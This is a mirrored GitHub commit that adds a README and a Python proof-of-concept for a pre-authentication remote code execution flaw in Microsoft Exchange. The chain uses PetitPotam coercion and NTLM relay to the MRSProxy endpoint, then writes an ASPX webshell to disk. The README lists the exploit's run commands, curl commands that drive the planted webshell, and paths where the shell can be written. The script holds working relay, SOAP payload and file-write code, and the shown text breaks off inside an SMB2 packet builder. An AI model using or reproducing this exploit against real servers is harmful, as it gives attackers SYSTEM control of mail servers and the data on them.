mirror of
https://github.com/hypnguyen1209/cve-2026-62911
synced 2026-09-07 12:45:16 +00:00
POC
This commit is contained in:
@@ -0,0 +1,189 @@
|
||||
# CVE-2026-62911
|
||||
|
||||
Pre-auth RCE on Microsoft Exchange Server. No credentials needed.
|
||||
|
||||
Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.
|
||||
|
||||
## What it does
|
||||
|
||||
Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:
|
||||
|
||||
| Path | Hosted by | Extended Protection |
|
||||
|------|-----------|---------------------|
|
||||
| `/EWS/MRSProxy.svc` | IIS | Yes. Safe. |
|
||||
| `/Microsoft.Exchange.MailboxReplicationService.ProxyService` | HTTP.sys | No. Relay target. |
|
||||
|
||||
The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold `ms-Exch-EPI-Token-Serialization` by default, so the WCF service grants full access.
|
||||
|
||||
Once inside, `IMailbox_Config6()` takes a `filePath` parameter. `PstDestinationMailbox.ConfigPst()` writes whatever path you give it. No extension check. Point it at an IIS directory, call `IMailbox_Connect()`, and a file lands on disk. Make that file an ASPX webshell. Done.
|
||||
|
||||
## The config that makes this possible
|
||||
|
||||
```xml
|
||||
<!-- MSExchangeMailboxReplication.exe.config -->
|
||||
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
|
||||
<httpsTransport authenticationScheme="Negotiate"
|
||||
maxReceivedMessageSize="100000000" />
|
||||
<!-- no extendedProtectionPolicy — that's the bug -->
|
||||
</binding>
|
||||
```
|
||||
|
||||
## WCF interface (relevant methods)
|
||||
|
||||
```csharp
|
||||
[ServiceContract(SessionMode = SessionMode.Required)]
|
||||
interface IMailboxReplicationProxyService
|
||||
{
|
||||
void ExchangeVersionInformation(
|
||||
VersionInformation clientVersion,
|
||||
out VersionInformation serverVersion);
|
||||
|
||||
long IMailbox_Config6(
|
||||
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
|
||||
string filePath, // attacker-controlled, no validation
|
||||
byte[] partitionHint, Guid mdbGuid, string mdbName,
|
||||
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
|
||||
|
||||
void IMailbox_Connect(long mailboxHandle);
|
||||
// calls PSTSession.Open() — writes file at filePath
|
||||
}
|
||||
```
|
||||
|
||||
## Affected versions
|
||||
|
||||
| Product | Vulnerable below | Fixed | KB |
|
||||
|---------|-----------------|-------|----|
|
||||
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
|
||||
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
|
||||
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
|
||||
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
|
||||
|
||||
Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.
|
||||
|
||||
## How the attack works
|
||||
|
||||
```
|
||||
Attacker EX02 (trigger) EX01 (target)
|
||||
│ │ │
|
||||
│── PetitPotam (MS-EFSR) ──▶│ │
|
||||
│ │ │
|
||||
│◀── NTLM auth (EX02$) ─────│ │
|
||||
│ │ │
|
||||
│── relay NTLM ────────────────────────────────────▶│
|
||||
│ (to MRSProxy HTTP.sys) │
|
||||
│ │
|
||||
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
|
||||
│── IMailbox_Connect() ────────────────────────────▶│
|
||||
│ │ file written
|
||||
│ │
|
||||
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
|
||||
│◀── nt authority\system ────────────────────────────│
|
||||
```
|
||||
|
||||
Five steps:
|
||||
|
||||
1. Trigger MS-EFSR (`EfsRpcOpenFileRaw`) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.
|
||||
|
||||
2. Your SMB listener grabs the NTLM negotiate from `EX02$`.
|
||||
|
||||
3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.
|
||||
|
||||
4. Send WCF calls: `IMailbox_Config6` with a path like `C:\inetpub\wwwroot\aspnet_client\shell.aspx`, then `IMailbox_Connect`. Exchange writes the file.
|
||||
|
||||
5. Hit the webshell. You're SYSTEM.
|
||||
|
||||
|
||||
## Running it
|
||||
|
||||
Install dependencies:
|
||||
|
||||
```bash
|
||||
pip install impacket pysocks
|
||||
```
|
||||
|
||||
Check if MRSProxy is exposed:
|
||||
|
||||
```bash
|
||||
python3 exploit.py --check-only \
|
||||
-t 192.168.1.10 \
|
||||
-e 192.168.1.11 \
|
||||
-l 192.168.1.100
|
||||
```
|
||||
|
||||
You want to see `Microsoft-HTTPAPI/2.0` with `Negotiate` in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.
|
||||
|
||||
Run the exploit:
|
||||
|
||||
```bash
|
||||
python3 exploit.py \
|
||||
-t 192.168.1.10 \
|
||||
-e 192.168.1.11 \
|
||||
-l 192.168.1.100
|
||||
```
|
||||
|
||||
If PetitPotam needs auth on your target:
|
||||
|
||||
```bash
|
||||
python3 exploit.py \
|
||||
-t 192.168.1.10 \
|
||||
-e 192.168.1.11 \
|
||||
-l 192.168.1.100 \
|
||||
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
|
||||
```
|
||||
|
||||
Through a SOCKS tunnel:
|
||||
|
||||
```bash
|
||||
python3 exploit.py \
|
||||
-t 192.168.1.10 \
|
||||
-e 192.168.1.11 \
|
||||
-l 192.168.1.100 \
|
||||
--socks 127.0.0.1 --socks-port 10800
|
||||
```
|
||||
|
||||
Pick a different write location:
|
||||
|
||||
```bash
|
||||
python3 exploit.py \
|
||||
-t 192.168.1.10 \
|
||||
-e 192.168.1.11 \
|
||||
-l 192.168.1.100 \
|
||||
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
|
||||
--webshell-url '/owa/auth/x.aspx'
|
||||
```
|
||||
|
||||
Verify the shell landed:
|
||||
|
||||
```bash
|
||||
python3 exploit.py --verify-only \
|
||||
-t 192.168.1.10 \
|
||||
--webshell-url '/aspnet_client/system_web/shell.aspx'
|
||||
```
|
||||
|
||||
Use it:
|
||||
|
||||
```bash
|
||||
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
|
||||
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
|
||||
```
|
||||
|
||||
## Write paths that work
|
||||
|
||||
| Disk path | URL | Why |
|
||||
|-----------|-----|-----|
|
||||
| `C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx` | `/aspnet_client/system_web/shell.aspx` | Default IIS client scripts dir. Usually writable, serves ASPX. |
|
||||
| `C:\inetpub\wwwroot\aspnet_client\shell.aspx` | `/aspnet_client/shell.aspx` | Same, shorter. |
|
||||
| `...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx` | `/owa/auth/shell.aspx` | OWA auth folder. |
|
||||
| `...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx` | `/ecp/auth/shell.aspx` | ECP auth folder. |
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [MBBank VRED: Analysis of Exchange Server Pre-Auth](https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth)
|
||||
- [Pwn2Own Berlin 2026, Day 2](https://www.zerodayinitiative.com/blog/2026/5/15/pwn2own-berlin-2026-day-two)
|
||||
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62911)
|
||||
- [KB5121576](https://support.microsoft.com/en-us/topic/kb5121576)
|
||||
|
||||
## Legal
|
||||
|
||||
For authorized testing only. Get written permission before running this against anything.
|
||||
+865
@@ -0,0 +1,865 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE
|
||||
|
||||
Pre-authentication Remote Code Execution. No credentials required.
|
||||
Exploits missing Extended Protection (EPA) on the HTTP.sys-hosted MRSProxy
|
||||
WCF endpoint to relay Exchange machine account NTLM hash and write a
|
||||
webshell through PstDestinationMailbox.ConfigPst() file path injection.
|
||||
|
||||
Attack chain (zero credentials):
|
||||
1. PetitPotam (MS-EFSR, unauthenticated) forces EX02 to auth to listener
|
||||
2. EX02$ machine account NTLM relayed SMB → HTTPS MRSProxy on EX01
|
||||
3. Machine accounts have ms-Exch-EPI-Token-Serialization → auth bypassed
|
||||
4. WCF IMailbox_Config6(filePath=webshell.aspx) — no extension validation
|
||||
5. IMailbox_Connect() → PSTSession.Open() → file written to disk
|
||||
6. Webshell accessed → NT AUTHORITY\SYSTEM RCE
|
||||
|
||||
Requirements:
|
||||
- Two Exchange servers (relay cannot target the triggering server)
|
||||
- Network access to both (SMB to trigger, HTTPS to relay target)
|
||||
- Zero credentials (PetitPotam unauthenticated; fallback: any AD account)
|
||||
- impacket >= 0.11.0
|
||||
- PySocks (optional, for SOCKS proxy support)
|
||||
|
||||
References:
|
||||
- https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth
|
||||
- Orange Tsai / DEVCORE — Pwn2Own Berlin 2026
|
||||
- MS Advisory: CVE-2026-62911
|
||||
|
||||
Author: Red Team Lab (authorized pentest)
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import http.client
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
from io import BytesIO
|
||||
|
||||
try:
|
||||
from impacket import version as impacket_version
|
||||
from impacket.dcerpc.v5 import epm, transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
|
||||
from impacket.dcerpc.v5.dtypes import (
|
||||
DWORD, LPWSTR, ULONG, WSTR, NULL,
|
||||
)
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.ntlm import (
|
||||
compute_lmhash, compute_nthash,
|
||||
NTLMAuthChallenge, NTLMAuthChallengeResponse,
|
||||
NTLMAuthNegotiate,
|
||||
)
|
||||
from impacket.smb import SMB
|
||||
from impacket.smbserver import SimpleSMBServer
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp
|
||||
HAS_IMPACKET = True
|
||||
except ImportError:
|
||||
HAS_IMPACKET = False
|
||||
|
||||
try:
|
||||
import socks
|
||||
HAS_SOCKS = True
|
||||
except ImportError:
|
||||
HAS_SOCKS = False
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||
datefmt="%H:%M:%S",
|
||||
)
|
||||
log = logging.getLogger("CVE-2026-62911")
|
||||
|
||||
# ── MS-EFSR (PetitPotam) RPC Interface ──────────────────────────────────────
|
||||
|
||||
MSEFSR_UUID = "c681d488-d850-11d0-8c52-00c04fd90f7e"
|
||||
MSEFSR_VERSION = "1.0"
|
||||
|
||||
|
||||
def trigger_petitpotam(trigger_host, listener_host, listener_port=445,
|
||||
username="", password="", domain="",
|
||||
socks_proxy=None, socks_port=None):
|
||||
"""
|
||||
Trigger MS-EFSR EfsRpcOpenFileRaw on `trigger_host` to force NTLM auth
|
||||
to `listener_host`. The machine account hash will be sent to our relay.
|
||||
"""
|
||||
log.info(f"[PETITPOTAM] Triggering {trigger_host} → \\\\{listener_host}\\share\\x")
|
||||
|
||||
if socks_proxy:
|
||||
if not HAS_SOCKS:
|
||||
log.error("PySocks required for SOCKS proxy. pip install pysocks")
|
||||
return False
|
||||
socks.set_default_proxy(socks.SOCKS5, socks_proxy, socks_port or 10800)
|
||||
socket.socket = socks.socksocket
|
||||
|
||||
try:
|
||||
binding = f"ncacn_np:{trigger_host}[\\pipe\\lsarpc]"
|
||||
rpctransport = transport.DCERPCTransportFactory(binding)
|
||||
|
||||
if username:
|
||||
rpctransport.set_credentials(username, password, domain)
|
||||
rpctransport.set_connect_timeout(30)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(uuid.UUID(MSEFSR_UUID), transfer_syntax=("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0"))
|
||||
|
||||
unc_path = f"\\\\{listener_host}\\share\\x\x00"
|
||||
request = BytesIO()
|
||||
request.write(struct.pack("<I", 0)) # dwFlags = 0
|
||||
encoded_path = unc_path.encode("utf-16-le")
|
||||
request.write(struct.pack("<I", len(unc_path)))
|
||||
request.write(encoded_path)
|
||||
request.write(struct.pack("<I", 0)) # pvContext = NULL
|
||||
|
||||
# EfsRpcOpenFileRaw = opnum 0
|
||||
try:
|
||||
dce.request(0, request.getvalue())
|
||||
except DCERPCException as e:
|
||||
# ERROR_BAD_NETPATH is expected — means the trigger worked
|
||||
if "ERROR_BAD_NETPATH" in str(e) or "0x35" in str(e):
|
||||
log.info("[PETITPOTAM] Trigger sent — auth should arrive at listener")
|
||||
return True
|
||||
log.warning(f"[PETITPOTAM] RPC error (may still work): {e}")
|
||||
return True
|
||||
except Exception as e:
|
||||
log.warning(f"[PETITPOTAM] Exception (may still work): {e}")
|
||||
return True
|
||||
|
||||
dce.disconnect()
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
log.error(f"[PETITPOTAM] Failed: {e}")
|
||||
return False
|
||||
|
||||
|
||||
# ── MRSProxy WCF Client ─────────────────────────────────────────────────────
|
||||
|
||||
MRSPROXY_PATH = "/Microsoft.Exchange.MailboxReplicationService.ProxyService"
|
||||
MRSPROXY_NS = "http://tempuri.org/"
|
||||
EXCHANGE_NS = "http://schemas.datacontract.org/2004/07/Microsoft.Exchange.MailboxReplicationService"
|
||||
|
||||
# WCF SOAP Action URIs
|
||||
ACTION_VERSION = f"{MRSPROXY_NS}IMailboxReplicationProxyService/ExchangeVersionInformation"
|
||||
ACTION_CONFIG = f"{MRSPROXY_NS}IMailboxReplicationProxyService/IMailbox_Config6"
|
||||
ACTION_CONNECT = f"{MRSPROXY_NS}IMailboxReplicationProxyService/IMailbox_Connect"
|
||||
|
||||
|
||||
def build_soap_envelope(action, body_xml):
|
||||
"""Build SOAP 1.2 envelope with WS-Addressing action header."""
|
||||
msg_id = f"urn:uuid:{uuid.uuid4()}"
|
||||
return f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
||||
xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">{action}</a:Action>
|
||||
<a:MessageID>{msg_id}</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">https://localhost{MRSPROXY_PATH}</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
{body_xml}
|
||||
</s:Body>
|
||||
</s:Envelope>"""
|
||||
|
||||
|
||||
def build_version_exchange():
|
||||
"""ExchangeVersionInformation — initial WCF handshake."""
|
||||
body = f"""<ExchangeVersionInformation xmlns="{MRSPROXY_NS}">
|
||||
<clientVersion xmlns:d="{EXCHANGE_NS}">
|
||||
<d:ProductMajor>15</d:ProductMajor>
|
||||
<d:ProductMinor>1</d:ProductMinor>
|
||||
<d:BuildMajor>2507</d:BuildMajor>
|
||||
<d:BuildMinor>61</d:BuildMinor>
|
||||
</clientVersion>
|
||||
</ExchangeVersionInformation>"""
|
||||
return build_soap_envelope(ACTION_VERSION, body)
|
||||
|
||||
|
||||
def build_config_pst(file_path, mailbox_guid=None, reservation_id=None):
|
||||
"""
|
||||
IMailbox_Config6 — configure PST destination with attacker-controlled path.
|
||||
This is the file write primitive: PstDestinationMailbox.ConfigPst() does
|
||||
not validate the file extension, allowing write to .aspx paths.
|
||||
"""
|
||||
if not mailbox_guid:
|
||||
mailbox_guid = str(uuid.uuid4())
|
||||
if not reservation_id:
|
||||
reservation_id = str(uuid.uuid4())
|
||||
|
||||
body = f"""<IMailbox_Config6 xmlns="{MRSPROXY_NS}">
|
||||
<reservationId>{reservation_id}</reservationId>
|
||||
<primaryMailboxGuid>{mailbox_guid}</primaryMailboxGuid>
|
||||
<physicalMailboxGuid>{mailbox_guid}</physicalMailboxGuid>
|
||||
<filePath>{file_path}</filePath>
|
||||
<partitionHint></partitionHint>
|
||||
<mdbGuid>{str(uuid.uuid4())}</mdbGuid>
|
||||
<mdbName>MailboxDatabase</mdbName>
|
||||
<mbxType>PstFile</mbxType>
|
||||
<proxyControlFlags>0</proxyControlFlags>
|
||||
<localMailboxFlags>0</localMailboxFlags>
|
||||
</IMailbox_Config6>"""
|
||||
return build_soap_envelope(ACTION_CONFIG, body)
|
||||
|
||||
|
||||
def build_connect(mailbox_handle=1):
|
||||
"""IMailbox_Connect — triggers PSTSession.Open() which writes the file."""
|
||||
body = f"""<IMailbox_Connect xmlns="{MRSPROXY_NS}">
|
||||
<mailboxHandle>{mailbox_handle}</mailboxHandle>
|
||||
</IMailbox_Connect>"""
|
||||
return build_soap_envelope(ACTION_CONNECT, body)
|
||||
|
||||
|
||||
# ── NTLM HTTP Authentication ────────────────────────────────────────────────
|
||||
|
||||
def create_ssl_context():
|
||||
"""Create SSL context that trusts all certificates."""
|
||||
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
ctx.set_ciphers("DEFAULT@SECLEVEL=0")
|
||||
return ctx
|
||||
|
||||
|
||||
class NTLMHTTPSession:
|
||||
"""
|
||||
Manages an NTLM-authenticated HTTPS session to Exchange MRSProxy.
|
||||
Used by the relay to forward captured NTLM messages over HTTP.
|
||||
"""
|
||||
|
||||
def __init__(self, target_host, target_port=443, target_path=MRSPROXY_PATH):
|
||||
self.target_host = target_host
|
||||
self.target_port = target_port
|
||||
self.target_path = target_path
|
||||
self.conn = None
|
||||
self.auth_complete = False
|
||||
|
||||
def connect(self):
|
||||
"""Establish HTTPS connection."""
|
||||
ctx = create_ssl_context()
|
||||
self.conn = http.client.HTTPSConnection(
|
||||
self.target_host, self.target_port,
|
||||
timeout=60, context=ctx,
|
||||
)
|
||||
self.conn.connect()
|
||||
log.info(f"[HTTP] Connected to {self.target_host}:{self.target_port}")
|
||||
|
||||
def send_ntlm_negotiate(self, negotiate_message):
|
||||
"""Send NTLM Type 1 (Negotiate) and return Type 2 (Challenge)."""
|
||||
auth_header = "Negotiate " + base64.b64encode(negotiate_message).decode()
|
||||
self.conn.request(
|
||||
"POST", self.target_path,
|
||||
headers={
|
||||
"Host": self.target_host,
|
||||
"Authorization": auth_header,
|
||||
"Content-Type": "application/soap+xml; charset=utf-8",
|
||||
"Content-Length": "0",
|
||||
},
|
||||
)
|
||||
resp = self.conn.getresponse()
|
||||
resp.read()
|
||||
|
||||
if resp.status != 401:
|
||||
log.warning(f"[HTTP] Expected 401, got {resp.status}")
|
||||
return None
|
||||
|
||||
www_auth = resp.getheader("WWW-Authenticate", "")
|
||||
for part in www_auth.split(","):
|
||||
part = part.strip()
|
||||
if part.startswith("Negotiate "):
|
||||
challenge_b64 = part[len("Negotiate "):]
|
||||
return base64.b64decode(challenge_b64)
|
||||
|
||||
log.error("[HTTP] No Negotiate challenge in response")
|
||||
return None
|
||||
|
||||
def send_ntlm_authenticate(self, authenticate_message, soap_body=None):
|
||||
"""Send NTLM Type 3 (Authenticate) with optional SOAP body."""
|
||||
auth_header = "Negotiate " + base64.b64encode(authenticate_message).decode()
|
||||
body = soap_body or ""
|
||||
headers = {
|
||||
"Host": self.target_host,
|
||||
"Authorization": auth_header,
|
||||
"Content-Type": "application/soap+xml; charset=utf-8",
|
||||
"Content-Length": str(len(body.encode("utf-8"))),
|
||||
}
|
||||
self.conn.request("POST", self.target_path, body=body, headers=headers)
|
||||
resp = self.conn.getresponse()
|
||||
data = resp.read()
|
||||
log.info(f"[HTTP] Auth response: {resp.status}")
|
||||
if resp.status == 200:
|
||||
self.auth_complete = True
|
||||
return resp.status, data
|
||||
|
||||
def send_wcf(self, action, soap_body):
|
||||
"""Send authenticated WCF SOAP request."""
|
||||
headers = {
|
||||
"Host": self.target_host,
|
||||
"Content-Type": f'application/soap+xml; charset=utf-8; action="{action}"',
|
||||
"Content-Length": str(len(soap_body.encode("utf-8"))),
|
||||
}
|
||||
self.conn.request("POST", self.target_path, body=soap_body, headers=headers)
|
||||
resp = self.conn.getresponse()
|
||||
data = resp.read()
|
||||
return resp.status, data
|
||||
|
||||
def close(self):
|
||||
if self.conn:
|
||||
self.conn.close()
|
||||
|
||||
|
||||
# ── NTLM Relay Server (SMB → HTTPS) ─────────────────────────────────────────
|
||||
|
||||
class NTLMRelayHandler:
|
||||
"""
|
||||
Lightweight SMB server that captures NTLM from PetitPotam and relays
|
||||
it to Exchange MRSProxy over HTTPS.
|
||||
|
||||
Flow:
|
||||
Client (EX02) → SMB NEGOTIATE → Relay → 200 OK
|
||||
Client (EX02) → NTLM Type 1 → Relay → Forward to MRSProxy HTTP
|
||||
MRSProxy → NTLM Type 2 → Relay → Forward to Client
|
||||
Client (EX02) → NTLM Type 3 → Relay → Forward to MRSProxy HTTP
|
||||
MRSProxy → 200 OK (authenticated as EX02$ machine account)
|
||||
"""
|
||||
|
||||
def __init__(self, listen_host, listen_port, target_host, target_port,
|
||||
webshell_path, callback_url=None):
|
||||
self.listen_host = listen_host
|
||||
self.listen_port = listen_port
|
||||
self.target_host = target_host
|
||||
self.target_port = target_port
|
||||
self.webshell_path = webshell_path
|
||||
self.callback_url = callback_url
|
||||
self.relay_complete = threading.Event()
|
||||
self.success = False
|
||||
|
||||
def start(self):
|
||||
"""Start listening for incoming NTLM authentication."""
|
||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server_sock.bind((self.listen_host, self.listen_port))
|
||||
server_sock.listen(1)
|
||||
server_sock.settimeout(120)
|
||||
log.info(f"[RELAY] Listening on {self.listen_host}:{self.listen_port}")
|
||||
|
||||
try:
|
||||
client_sock, addr = server_sock.accept()
|
||||
log.info(f"[RELAY] Connection from {addr[0]}:{addr[1]}")
|
||||
self._handle_smb_relay(client_sock)
|
||||
except socket.timeout:
|
||||
log.error("[RELAY] Timeout waiting for connection")
|
||||
finally:
|
||||
server_sock.close()
|
||||
|
||||
def _handle_smb_relay(self, client_sock):
|
||||
"""Handle SMB negotiation and NTLM relay."""
|
||||
try:
|
||||
# SMB negotiate
|
||||
data = client_sock.recv(65535)
|
||||
if not data:
|
||||
return
|
||||
|
||||
# Parse SMB header
|
||||
if data[4:8] == b"\xfeSMB":
|
||||
log.info("[RELAY] SMB2 negotiate received")
|
||||
self._handle_smb2_relay(client_sock, data)
|
||||
elif data[4:8] == b"\xffSMB":
|
||||
log.info("[RELAY] SMB1 negotiate received")
|
||||
self._handle_smb1_relay(client_sock, data)
|
||||
else:
|
||||
log.warning(f"[RELAY] Unknown protocol: {data[4:8].hex()}")
|
||||
|
||||
except Exception as e:
|
||||
log.error(f"[RELAY] Error: {e}")
|
||||
finally:
|
||||
client_sock.close()
|
||||
|
||||
def _handle_smb2_relay(self, client_sock, negotiate_data):
|
||||
"""Handle SMB2/3 negotiation and extract NTLM for relay."""
|
||||
# Send SMB2 negotiate response with NTLM security
|
||||
neg_resp = self._build_smb2_negotiate_response()
|
||||
client_sock.sendall(neg_resp)
|
||||
|
||||
# Receive Session Setup with NTLM Type 1
|
||||
data = client_sock.recv(65535)
|
||||
ntlm_type1 = self._extract_ntlm_from_smb2(data)
|
||||
if not ntlm_type1:
|
||||
log.error("[RELAY] Could not extract NTLM Type 1")
|
||||
return
|
||||
|
||||
log.info(f"[RELAY] Got NTLM Type 1 ({len(ntlm_type1)} bytes)")
|
||||
|
||||
# Forward Type 1 to MRSProxy, get Type 2
|
||||
http_session = NTLMHTTPSession(self.target_host, self.target_port)
|
||||
http_session.connect()
|
||||
ntlm_type2 = http_session.send_ntlm_negotiate(ntlm_type1)
|
||||
if not ntlm_type2:
|
||||
log.error("[RELAY] No NTLM Type 2 from target")
|
||||
return
|
||||
|
||||
log.info(f"[RELAY] Got NTLM Type 2 challenge ({len(ntlm_type2)} bytes)")
|
||||
|
||||
# Send Type 2 back to client in SMB2 Session Setup response
|
||||
sess_resp = self._build_smb2_session_setup_response(ntlm_type2)
|
||||
client_sock.sendall(sess_resp)
|
||||
|
||||
# Receive Session Setup with NTLM Type 3
|
||||
data = client_sock.recv(65535)
|
||||
ntlm_type3 = self._extract_ntlm_from_smb2(data)
|
||||
if not ntlm_type3:
|
||||
log.error("[RELAY] Could not extract NTLM Type 3")
|
||||
return
|
||||
|
||||
log.info(f"[RELAY] Got NTLM Type 3 ({len(ntlm_type3)} bytes) — relaying to target")
|
||||
|
||||
# Forward Type 3 to MRSProxy with initial SOAP request
|
||||
version_soap = build_version_exchange()
|
||||
status, resp_data = http_session.send_ntlm_authenticate(ntlm_type3, version_soap)
|
||||
|
||||
if status == 200:
|
||||
log.info("[RELAY] Authentication SUCCESS — machine account relayed!")
|
||||
self._exploit_mrsproxy(http_session)
|
||||
else:
|
||||
log.error(f"[RELAY] Authentication failed: HTTP {status}")
|
||||
log.debug(f"[RELAY] Response: {resp_data[:500]}")
|
||||
|
||||
http_session.close()
|
||||
|
||||
def _exploit_mrsproxy(self, session):
|
||||
"""Use authenticated MRSProxy session to write webshell."""
|
||||
log.info(f"[EXPLOIT] Writing webshell to: {self.webshell_path}")
|
||||
|
||||
# Step 1: Version exchange (may already be done in auth step)
|
||||
version_msg = build_version_exchange()
|
||||
status, data = session.send_wcf(ACTION_VERSION, version_msg)
|
||||
log.info(f"[EXPLOIT] ExchangeVersionInformation: HTTP {status}")
|
||||
|
||||
# Step 2: Configure PST with webshell path
|
||||
config_msg = build_config_pst(self.webshell_path)
|
||||
status, data = session.send_wcf(ACTION_CONFIG, config_msg)
|
||||
log.info(f"[EXPLOIT] IMailbox_Config6: HTTP {status}")
|
||||
if status != 200:
|
||||
log.error(f"[EXPLOIT] Config failed: {data[:500]}")
|
||||
return
|
||||
|
||||
# Step 3: Connect (triggers PSTSession.Open → file write)
|
||||
connect_msg = build_connect()
|
||||
status, data = session.send_wcf(ACTION_CONNECT, connect_msg)
|
||||
log.info(f"[EXPLOIT] IMailbox_Connect: HTTP {status}")
|
||||
|
||||
if status == 200:
|
||||
log.info("[EXPLOIT] File write triggered! Verifying webshell...")
|
||||
self.success = True
|
||||
else:
|
||||
log.warning(f"[EXPLOIT] Connect may have failed: HTTP {status}")
|
||||
|
||||
self.relay_complete.set()
|
||||
|
||||
def _build_smb2_negotiate_response(self):
|
||||
"""Build minimal SMB2 negotiate response with NTLMSSP."""
|
||||
# Simplified — in production use impacket's SMB2 server
|
||||
header = b"\x00\x00\x00\x00" # NetBIOS session
|
||||
header += b"\xfeSMB" # SMB2 magic
|
||||
header += struct.pack("<H", 64) # Header length
|
||||
header += struct.pack("<H", 0) # Credit charge
|
||||
header += struct.pack("<I", 0) # Status OK
|
||||
header += struct.pack("<H", 0) # NEGOTIATE command
|
||||
header += struct.pack("<H", 1) # Credits granted
|
||||
header += struct.pack("<I", 1) # Flags: response
|
||||
header += struct.pack("<I", 0) # Next command
|
||||
header += struct.pack("<Q", 0) # Message ID
|
||||
header += struct.pack("<I", 0) # Reserved
|
||||
header += struct.pack("<I", 0) # Tree ID
|
||||
header += struct.pack("<Q", 0) # Session ID
|
||||
header += b"\x00" * 16 # Signature
|
||||
|
||||
# Negotiate response body (simplified)
|
||||
body = struct.pack("<H", 65) # Structure size
|
||||
body += struct.pack("<H", 1) # Security mode: signing enabled
|
||||
body += struct.pack("<H", 0x0311) # Dialect: SMB 3.1.1
|
||||
body += struct.pack("<H", 0) # Negotiate context count
|
||||
body += b"\x00" * 16 # Server GUID
|
||||
body += struct.pack("<I", 0x2f) # Capabilities
|
||||
body += struct.pack("<I", 1048576) # Max transact size
|
||||
body += struct.pack("<I", 1048576) # Max read size
|
||||
body += struct.pack("<I", 1048576) # Max write size
|
||||
body += struct.pack("<Q", 0) # System time
|
||||
body += struct.pack("<Q", 0) # Server start time
|
||||
|
||||
# Security buffer (SPNEGO with NTLMSSP OID)
|
||||
spnego = self._build_spnego_init()
|
||||
body += struct.pack("<H", 64 + len(body) + 4) # Security buffer offset
|
||||
body += struct.pack("<H", len(spnego)) # Security buffer length
|
||||
body += struct.pack("<I", 0) # Negotiate context offset
|
||||
|
||||
packet = header + body + spnego
|
||||
# Fix NetBIOS length
|
||||
packet = struct.pack(">I", len(packet) - 4) + packet[4:]
|
||||
return packet
|
||||
|
||||
def _build_smb2_session_setup_response(self, ntlm_challenge):
|
||||
"""Build SMB2 session setup response containing NTLM Type 2."""
|
||||
# Wrap in SPNEGO
|
||||
spnego = self._build_spnego_challenge(ntlm_challenge)
|
||||
|
||||
header = struct.pack(">I", 0) # NetBIOS (fix later)
|
||||
header += b"\xfeSMB"
|
||||
header += struct.pack("<H", 64) # Header length
|
||||
header += struct.pack("<H", 0) # Credit charge
|
||||
header += struct.pack("<I", 0xC0000016) # STATUS_MORE_PROCESSING_REQUIRED
|
||||
header += struct.pack("<H", 1) # SESSION_SETUP
|
||||
header += struct.pack("<H", 1) # Credits
|
||||
